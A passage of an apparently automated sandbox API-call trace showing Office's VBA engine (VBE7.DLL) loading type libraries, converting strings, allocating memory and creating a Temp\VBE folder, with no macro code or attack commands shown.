(in: This=0x677d9c0, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x126818 | out: ppvObject=0x126818*=0x0) returned 0x80004002 [0053.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x1267e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0053.312] IUnknown:Release (This=0x677d9c0) returned 0x3 [0053.312] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50730 [0053.312] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a50730) returned 0x0 [0053.312] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50720 [0053.312] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a50720) returned 0x0 [0053.312] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x6a50740 [0053.312] qsort (in: _Base=0x6a50740, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee48e5594 | out: _Base=0x6a50740) [0053.312] IMalloc:Free (This=0x7feffc15380, pv=0x6a50740) [0053.312] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x67dac60 [0053.312] IMalloc:Alloc (This=0x7feffc15380, cb=0xc) returned 0x6a2c910 [0053.312] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2c910) returned 0xc [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0053.312] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0053.312] IMalloc:Free (This=0x7feffc15380, pv=0x6a50720) [0053.312] IMalloc:Free (This=0x7feffc15380, pv=0x6a50730) [0053.312] CoCreateGuid (in: pguid=0x126ec8 | out: pguid=0x126ec8*(Data1=0x54e8edd5, Data2=0x1171, Data3=0x4fab, Data4=([0]=0xa9, [1]=0x7e, [2]=0xe, [3]=0x6e, [4]=0x84, [5]=0xe2, [6]=0x97, [7]=0xe2))) returned 0x0 [0053.312] wcsncmp (_String1="*\\Z", _String2="*\\Z", _MaxCount=0x3) returned 0 [0053.313] IMalloc:Alloc (This=0x7feffc15380, cb=0x6b0) returned 0x6a942a0 [0053.313] CoCreateGuid (in: pguid=0x68ffd48 | out: pguid=0x68ffd48*(Data1=0xf96cc2b7, Data2=0x1c0b, Data3=0x4512, Data4=([0]=0xbf, [1]=0x5a, [2]=0xd, [3]=0x22, [4]=0xab, [5]=0x5, [6]=0x65, [7]=0x40))) returned 0x0 [0053.313] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x0) returned 0x6a50730 [0053.313] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x407e9b0 [0053.313] strcpy_s (in: _Dst=0x68ffda8, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0053.313] LoadStringA (in: hInstance=0x7fef90e0000, uID=0x32f3, lpBuffer=0x2e39c78, cchBufferMax=128 | out: lpBuffer="Project") returned 0x7 [0053.385] wsprintfA (in: param_1=0x2e39c7f, param_2="%d" | out: param_1="1") returned 1 [0053.385] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dc7f8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0053.385] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0053.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dc7f8, cbMultiByte=8, lpWideCharStr=0x4233e28, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0053.385] lstrlenA (lpString="Project") returned 7 [0053.385] lstrcmpiA (lpString1="Project", lpString2="Project1") returned -1 [0053.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e39c78, cbMultiByte=-1, lpWideCharStr=0x127ba0, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0053.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x127a90, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0053.385] lstrcmpiA (lpString1="", lpString2="Project1") returned -1 [0053.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x127990, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0053.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0053.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x1278a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0053.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0053.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x1278a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0053.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x127760, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0053.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0053.385] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0053.385] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2a5d0 [0053.385] IMalloc:Free (This=0x7feffc15380, pv=0x66d4660) [0053.385] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4660 [0053.386] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4660, cb=0x44) returned 0x69c3d80 [0053.386] IMalloc:Free (This=0x7feffc15380, pv=0x6a2a5d0) [0053.386] wcsncpy_s (in: _Destination=0x127560, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.386] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x127490, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.386] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.386] strcpy_s (in: _Dst=0x68ffdb8, _DstSize=0x9, _Src="Project1" | out: _Dst="Project1") returned 0x0 [0053.386] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0053.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dc7f8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0053.386] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0053.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x66dc7f8, cbMultiByte=9, lpWideCharStr=0x4233e28, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0053.386] lstrlenA (lpString="Project1") returned 8 [0053.386] QueryPathOfRegTypeLib (in: guid=0x7fee4b49508*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x2, wMin=0x0, lcid=0x0, lpbstrPathName=0x127708 | out: lpbstrPathName=0x127708) returned 0x0 [0053.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb", cchWideChar=-1, lpMultiByteStr=0x1276c0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlb", lpUsedDefaultChar=0x0) returned 32 [0053.388] lstrlenA (lpString="C:\\Windows\\system32\\stdole2.tlb") returned 31 [0053.388] lstrcpyA (in: lpString1=0x2e37f50, lpString2="C:\\Windows\\system32\\stdole2.tlb" | out: lpString1="C:\\Windows\\system32\\stdole2.tlb") returned="C:\\Windows\\system32\\stdole2.tlb" [0053.388] _access_s (_FileName="C:\\Windows\\system32\\stdole2.tlb", _AccessMode=0) returned 0x0 [0053.389] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x127a78*=0x0 | out: pptlib=0x127a78*=0x677acc0) returned 0x0 [0053.389] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x127708*=0x0 | out: pptlib=0x127708*=0x677acc0) returned 0x0 [0053.389] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x127728, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x127610, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0053.389] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0053.389] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1275e8 | out: ppvObject=0x1275e8*=0x0) returned 0x80004002 [0053.389] GetLocalTime (in: lpSystemTime=0x127490 | out: lpSystemTime=0x127490*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x151)) [0053.389] wcsncpy_s (in: _Destination=0x127140, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.389] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x127070, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.389] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.389] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127518 | out: ppvObject=0x127518*=0x0) returned 0x80004002 [0053.389] ITypeLib:RemoteGetLibAttr (in: This=0x677acc0, ppTLibAttr=0x127510, pDummy=0x10 | out: ppTLibAttr=0x127510, pDummy=0x10) returned 0x0 [0053.389] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x0, pbstrName=0x127508, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x127508*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0053.389] StringFromGUID2 (in: rguid=0x4233e20*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x127530, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0053.389] _ultow_s (in: _Value=0x2, _Buffer=0x12747a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0053.389] _ultow_s (in: _Value=0x0, _Buffer=0x12747e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.390] _ultow_s (in: _Value=0x0, _Buffer=0x127482, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0053.390] wcscpy_s (in: _Destination=0x699c428, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0053.390] wcscpy_s (in: _Destination=0x699c42e, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0053.390] wcscpy_s (in: _Destination=0x699c47a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0053.390] wcscpy_s (in: _Destination=0x699c488, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0053.390] wcscpy_s (in: _Destination=0x699c4c8, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0053.390] ITypeLib:LocalReleaseTLibAttr (This=0x677acc0) returned 0x0 [0053.390] IMalloc:Realloc (This=0x7feffc15380, pv=0x68ccb40, cb=0x680) returned 0x6a9c8c0 [0053.390] wcscpy_s (in: _Destination=0x6a9cb58, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0053.390] ITypeLib:RemoteGetDocumentation (in: This=0x677acc0, index=-1, refPtrFlags=0x127628, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0053.390] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0053.390] strcpy_s (in: _Dst=0x127420, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0053.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127420, cbMultiByte=7, lpWideCharStr=0x127270, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0053.390] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.390] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x127340, pBstrLibName=0x127270 | out: pfName=0x127340*=0, pBstrLibName=0x127270) returned 0x0 [0053.390] IUnknown:Release (This=0x677d9c0) returned 0x3 [0053.390] IUnknown:AddRef (This=0x677a9f0) returned 0x5 [0053.390] ITypeLib:RemoteIsName (in: This=0x677a9f0, szNameBuf="stdole", lHashVal=0x106093, pfName=0x127340, pBstrLibName=0x127270 | out: pfName=0x127340*=0, pBstrLibName=0x127270) returned 0x0 [0053.390] IUnknown:Release (This=0x677a9f0) returned 0x4 [0053.390] IMalloc:Alloc (This=0x7feffc15380, cb=0x24) returned 0x66d4300 [0053.390] IMalloc:Free (This=0x7feffc15380, pv=0x69c3d80) [0053.390] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4690 [0053.390] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4690, cb=0x50) returned 0x69d6d70 [0053.390] IMalloc:Free (This=0x7feffc15380, pv=0x66d4300) [0053.390] wcsncpy_s (in: _Destination=0x127220, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0053.390] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0053.390] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0x69a4f90 [0053.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x69a4f90, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0053.390] IMalloc:Free (This=0x7feffc15380, pv=0x69a4f90) [0053.390] wcscpy_s (in: _Destination=0x69f9288, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0053.390] wcsncpy_s (in: _Destination=0x127260, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0053.390] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0053.390] IMalloc:Alloc (This=0x7feffc15380, cb=0xbe) returned 0x69a4f90 [0053.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x69a4f90, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0053.390] IMalloc:Free (This=0x7feffc15380, pv=0x69a4f90) [0053.391] wcsncpy_s (in: _Destination=0x127220, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.391] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x127150, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.391] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.391] IUnknown:AddRef (This=0x677acc0) returned 0x6 [0053.391] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b385a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127648 | out: ppvObject=0x127648*=0x0) returned 0x80004002 [0053.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x127610, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0053.391] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0053.391] IUnknown:Release (This=0x677acc0) returned 0x5 [0053.391] IUnknown:Release (This=0x677acc0) returned 0x4 [0053.391] GetModuleFileNameA (in: hModule=0x7fee4790000, lpFilename=0x1279b0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0053.391] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", _SizeInBytes=0x104, _Source="\\3" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 0x0 [0053.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1279b0, cbMultiByte=-1, lpWideCharStr=0x127910, cchWideChar=69 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 69 [0053.391] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL\\3", pptlib=0x1279a0*=0x0 | out: pptlib=0x1279a0*=0x6a3c4b0) returned 0x0 [0053.399] ITypeLib:GetTypeInfoOfGuid (in: This=0x6a3c4b0, GUID=0x7fee4b38ed0, ppTInfo=0x127b30 | out: ppTInfo=0x127b30*=0x407f6a8) returned 0x0 [0053.400] ITypeInfo:RemoteGetTypeAttr (in: This=0x407f6a8, ppTypeAttr=0x127a80, pDummy=0x0 | out: ppTypeAttr=0x127a80, pDummy=0x0) returned 0x0 [0053.400] ITypeInfo:LocalReleaseTypeAttr (This=0x407f6a8) returned 0x0 [0053.400] ITypeInfo:RemoteGetTypeAttr (in: This=0x407f6a8, ppTypeAttr=0x127a20, pDummy=0x0 | out: ppTypeAttr=0x127a20, pDummy=0x0) returned 0x0 [0053.400] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x1278c0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0053.400] _access (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", _AccessMode=0) returned 0 [0053.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x127780, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4 [0053.402] lstrlenA (lpString="VBE") returned 3 [0053.402] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0053.402] _msize (_Block=0x2e37f50) returned 0x26 [0053.402] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0053.402] lstrlenA (lpString="VBE") returned 3 [0053.402] _msize (_Block=0x2e37f80) returned 0x26 [0053.402] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 37 [0053.402] lstrlenA (lpString="VBE") returned 3 [0053.402] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpString2="VBE" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" [0053.402] strcpy_s (in: _Dst=0x2e3b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0053.402] _access_s (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x2 [0053.402] strcpy_s (in: _Dst=0x2e3b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0053.402] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0 [0053.403] strcpy_s (in: _Dst=0x2e3b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0053.403] strcpy_s (in: _Dst=0x2e3b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0053.403] strcpy_s (in: _Dst=0x2e3b380, _DstSize=0x29, _Src="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 0x0 [0053.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e3b380, cbMultiByte=-1, lpWideCharStr=0x127720, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE") returned 41 [0053.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", cchWideChar=-1, lpMultiByteStr=0x1279c0, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", lpUsedDefaultChar=0x0) returned 41 [0053.403] _access_s (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\VBE", _AccessMode=0) returned 0x0 [0053.403] IUnknown:AddRef (This=0x407f6a8) returned 0x2 [0053.403] ITypeInfo:LocalReleaseTypeAttr (This=0x407f6a8) returned 0x0 [0053.403] StringFromCLSID (in: rclsid=0x2e3b2fc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), lplpsz=0x1279f0 | out: lplpsz=0x1279f0*="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 0x0 [0053.403] IMalloc:Alloc (This=0x7feffc15380, cb=0x27) returned 0x66d4690 [0053.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}", cchWideChar=-1, lpMultiByteStr=0x66d4690, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{3832D640-CF90-11CF-8E43-00A0C911005A}", lpUsedDefaultChar=0x0) returned 39 [0053.403] IMalloc:Free (This=0x7feffc15380, pv=0x69d6dd0) [0053.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x127a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4 [0053.403] lstrlenA (lpString="VBE") returned 3 [0053.403] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 38 [0053.403] WideCharToMultiByte (in: CodePage=0x0, 